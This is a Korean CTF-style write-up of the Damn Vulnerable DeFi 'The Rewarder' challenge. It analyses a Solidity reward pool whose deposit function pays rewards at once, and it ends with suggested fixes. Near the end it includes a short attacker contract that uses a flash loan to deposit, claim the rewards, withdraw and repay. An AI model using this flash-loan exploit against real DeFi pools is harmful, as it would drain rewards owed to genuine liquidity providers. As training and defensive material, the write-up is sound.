Damn Vulnerable DiFi

💡Damn Vulnerable DeFi란?
말 그대로 엄청 취약한 DeFi란 뜻 입니다. 작성되어 있는 컨트랙트를 보고 취약점을 분석한 뒤 공격을 위한 컨트랙트나 테스트 코드를 작성해 원하는 결과를 도출하는 일종의 워게임 입니다.

---

The Rewarder

The Rewarder는 사용자들이 유동성 풀에 유동성을 부여하면 accounting Token을 지급하고 특정 주기마다 사용자들이 소유하고 있는 accounting Token만큼 reward를 지급하는 컨트랙트들 입니다.

유동성 풀: 유동성 풀은 탈중앙화 거래소 및 DEX의 핵심 개념입니다. 유동성 제공자(LP)라 하는 이들은 풀에 동일한 가치를 갖는 두 가지 토큰을 추가하고 시장을 생성합니다. 자신의 자금을 제공하는 대가로, 사용자는 자신의 풀에서 발생하는 거래 수수료를 전체 유동성 내 자신의 지분에 따라 분배받습니다.

하지만 이 컨트랙트에서는 동일한 두 가지 토큰을 추가하는 것이 아닌 그냥 한가지 토큰을 유동성 풀에 예치하는 방식입니다.

• AccountingToken: 유동성 공급량에 따른 보상의 차이를 두기 위해 예치된 금액 만큼 해당 토큰을 지급하고 일정 주기마다 해당 토큰을 burn하고 보상을 지급합니다.
• RewardToken: 말 그대로 보상으로 지급하는 토큰입니다.
• FlashLoanLenderPool: 전 문제들에서도 계속 등장했던 FlashLoan을 실행하는 컨트랙트입니다. 돈을 빌려주고 상환받습니다. 이 문제에서는 사용자들이 토큰을 예치할수록 FlashLoanLender는 돈을 더 빌려줄 수 있기 때문에 더 많은 이익을 얻게 되고, 대출 실행으로 얻은 이자를 유동성 공급자들에게 일정 부분 보상으로 제공합니다.
• TheRewarderPool: accountingToken, rewardToken을 관리하고 사용자들에게 보상을 지급합니다. 보상 지급에 대한 주기도 관리합니다.

도전과제

---

	expect(await rewarderPool.roundNumber()).to.be.eq(3);

    // Users should get neglegible rewards this round
    for (let i = 0; i < users.length; i++) {
      await rewarderPool.connect(users[i]).distributeRewards();
      const userRewards = await rewardToken.balanceOf(users[i].address);
      const delta = userRewards.sub(
        (await rewarderPool.REWARDS()).div(users.length)
      );
      expect(delta).to.be.lt(10n ** 16n);
    }

    // Rewards must have been issued to the player account
    expect(await rewardToken.totalSupply()).to.be.gt(
      await rewarderPool.REWARDS()
    );
    const playerRewards = await rewardToken.balanceOf(player.address);
    expect(playerRewards).to.be.gt(0);

    // The amount of rewards earned should be close to total available amount
    const delta = (await rewarderPool.REWARDS()).sub(playerRewards);
    expect(delta).to.be.lt(10n ** 17n);

    // Balance of DVT tokens in player and lending pool hasn't changed
    expect(await liquidityToken.balanceOf(player.address)).to.eq(0);
    expect(await liquidityToken.balanceOf(flashLoanPool.address)).to.eq(
      TOKENS_IN_LENDER_POOL
    );
  });

• 보상 지급 라운드는 3이여야 합니다. (보상 라운드를 더욱 진행해야함)
• 그리고 반복문을 돌며 유저에게 해당 라운드의 보상을 지급하고 개인 유저당 지급된 보상이 어느정도 차이 나는지 검사합니다.
• rewardToken의 총 발행량이 rewarderPool에서 지급한 보상의 양보다 더 커야합니다.(이 말은 곧 보상으로 토큰을 지급한 것 이외에도 토큰이 발행되어서 어디론가 갔다는 이야기 입니다.)
• 그리고 플레이어가 받은 보상이 0보다 커야하고 플레이어가 보유한 유동성 토큰의 잔액은 0이여야 합니다.
• 대출 풀이 현재 보유한 유동성 토큰의 양과 초기 가지고 있던 토큰의 양이 같아야 합니다.

요약하면 플레이어는 보상 라운드를 진행하며 보상을 받고 대출을 통해 유동성 토큰은 직접 탈취해서는 안됩니다. 그리고 다른 사람들의 보상을 가로채서도 안됩니다.

TheRewarderLenderPool

---

저희가 자세히 살펴봐야할 컨트랙트는 바로 이 보상을 지급해주는 풀 입니다.

보상을 지급해주는 부분입니다.

    function distributeRewards() public returns (uint256 rewards) {
        if (isNewRewardsRound()) {
            _recordSnapshot();
        }

        uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
            if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
            }
        }
    }

보상을 지급하기 위해 하는 절차들이 있습니다.

• 새로운 라운드인가? 라운드는 5일마다 갱신될 수 있습니다. 즉 5일 동안 자금을 묶어두고 5일이 지난 뒤 보상을 받을 수 있습니다.
• 예치된 금액의 총량, 사용자가 예치한 금액, 측정된 보상을 기반으로 사용자에게 보상할 토큰의 양을 측정합니다.
• 사용자의 보상이 0이 아닌지와 5일(한 라운드)안에서 보상을 받지 않았는지를 확인한 후 사용자에게 보상을 제공하고 있습니다.

유동성 풀에 유동성을 공급하는 부분입니다.

function deposit(uint256 amount) external {
        if (amount == 0) {
            revert InvalidDepositAmount();
        }

        accountingToken.mint(msg.sender, amount);
        distributeRewards();

        SafeTransferLib.safeTransferFrom(
            liquidityToken,
            msg.sender,
            address(this),
            amount
        );
    }

이 부분에서 이상한 부분이 있습니다.
바로 accountToken을 지급한 뒤 바로 보상을 해주는 부분 입니다. 이렇게 된다면 유동성 풀에 일정 기간 동안 묶어두는 것이 아니라 사용자는 보상을 받고 바로 뺄 수도 있게됩니다.

물론 다음 보상을 받기 위해서는 5일을 기다려야하지만 만약 2번째 보상은 관심이 없고 보상만 받고 바로 빠진다면 풀에는 충분한 기간동안 유동성이 공급되지 않은채 보상만 계속해서 나갈 수도 있게 됩니다.

FlashLoanerPool

---

   function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));

        if (amount > balanceBefore) {
            revert NotEnoughTokenBalance();
        }

        if (!msg.sender.isContract()) {
            revert CallerIsNotContract();
        }

        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(
            abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)
        );

        if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
            revert FlashLoanNotPaidBack();
        }
    }

대출을 실행하기 위해 하는 검사는 다음과 같습니다.

• 대출 금액 확이
• 대출 호출자가 컨트랙트인지
• 대출금이 상환이 되었는지

이렇게 3가지 정도의 검사를 하고 사용자가 직접 receiveFlashLoan을 구현해 이익을 취하고 대출금을 상환하는 방식입니다.

solution

---

그렇다면 위에서 분석한 내용을 가지고 테스트 코드에 적혀있는 목표 달성을 해보겠습니다.

절차는 이렇습니다.

FlashLoan 실행 -> 받은 대출금을 RewardPool에 예치 -> 보상 수령 -> 출금 -> 대출금 상환 -> 사용자에게 차액 전송

이렇게 돌아가는 컨트랙트를 짜고 FlashLoan을 실행하게 되면 사용자는 자신의 자산을 쓰지 않고 보상만 얻을 수 있게 됩니다. 사용자가 수익을 얻기 때문에 누군가는 분명 손해를 본다는 이야기와 같습니다.

RewardAttacker.sol

    function attack(uint256 amount) external {
        flashLoanPool.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external {
        liquidityToken.approve(address(rewarderPool), amount);
        rewarderPool.deposit(amount);
        rewarderPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanPool), amount);
        rewarderPool.rewardToken().transfer(
            owner,
            rewarderPool.rewardToken().balanceOf(address(this))
        );
    }

이 두 기능이 있는 공격 컨트랙트 작성 후 실행하게 되면 사용자는 공격에 성공하게 됩니다.

취약점 요약

---

모두 RewardPool의 deposit 부분에 관련된 취약점 입니다.

1. 보상 조작 가능성 (Gaming the system)
   deposit 함수는 유동성을 제공하는 순간 보상 분배 메커니즘을 촉발시키는데, 이는 유동성 제공자가 자신의 보상을 인위적으로 증가시킬 기회를 만들 수 있습니다. 사용자는 보상이 분배되기 직전에 큰 액수를 입금하여 자신의 지분을 인위적으로 높일 수 있고, 그 후 보상이 분배되면 즉시 자금을 인출할 수도 있습니다. 이런 식으로, 유동성 풀에 대한 실제 장기적인 기여 없이도 높은 보상을 얻을 수 있습니다.

2. 빈번한 스냅샷과 보상 트리거
   매 입금 시마다 보상 분배 로직이 실행되면서 자주 스냅샷이 기록되고 보상이 계산되어야 합니다. 이는 블록체인 네트워크 상에서 불필요한 트랜잭션과 가스 비용을 발생시킬 수 있으며, 특히 많은 입금이 이루어질 때 네트워크 부하를 증가시킬 수 있습니다.

3. 보상의 공정성 문제
   유동성 풀에 잠시 동안만 큰 금액이 들어와 있었다가 빠르게 인출되는 경우, 실제로는 풀에 오랜 시간 동안 기여한 다른 사용자들에 비해 불공평하게 높은 보상을 받을 수 있습니다. 이는 시스템의 공정성을 저해하고, 장기 투자자들에게 불이익을 줄 수 있습니다.

해결방안

---

보상 분배 주기 설정: 보상 분배를 일정 주기로 제한하거나, 보상 기간이 종료된 후에만 보상을 분배하도록 설정하여, 각 보상 기간 동안의 평균 기여도를 기반으로 보상을 계산할 수 있습니다.

락업 기간 도입: 유동성 제공 후 일정 기간 동안은 인출을 할 수 없도록 하여, 단기간에 큰 액수를 입금했다가 빠르게 인출하는 행위를 방지할 수 있습니다.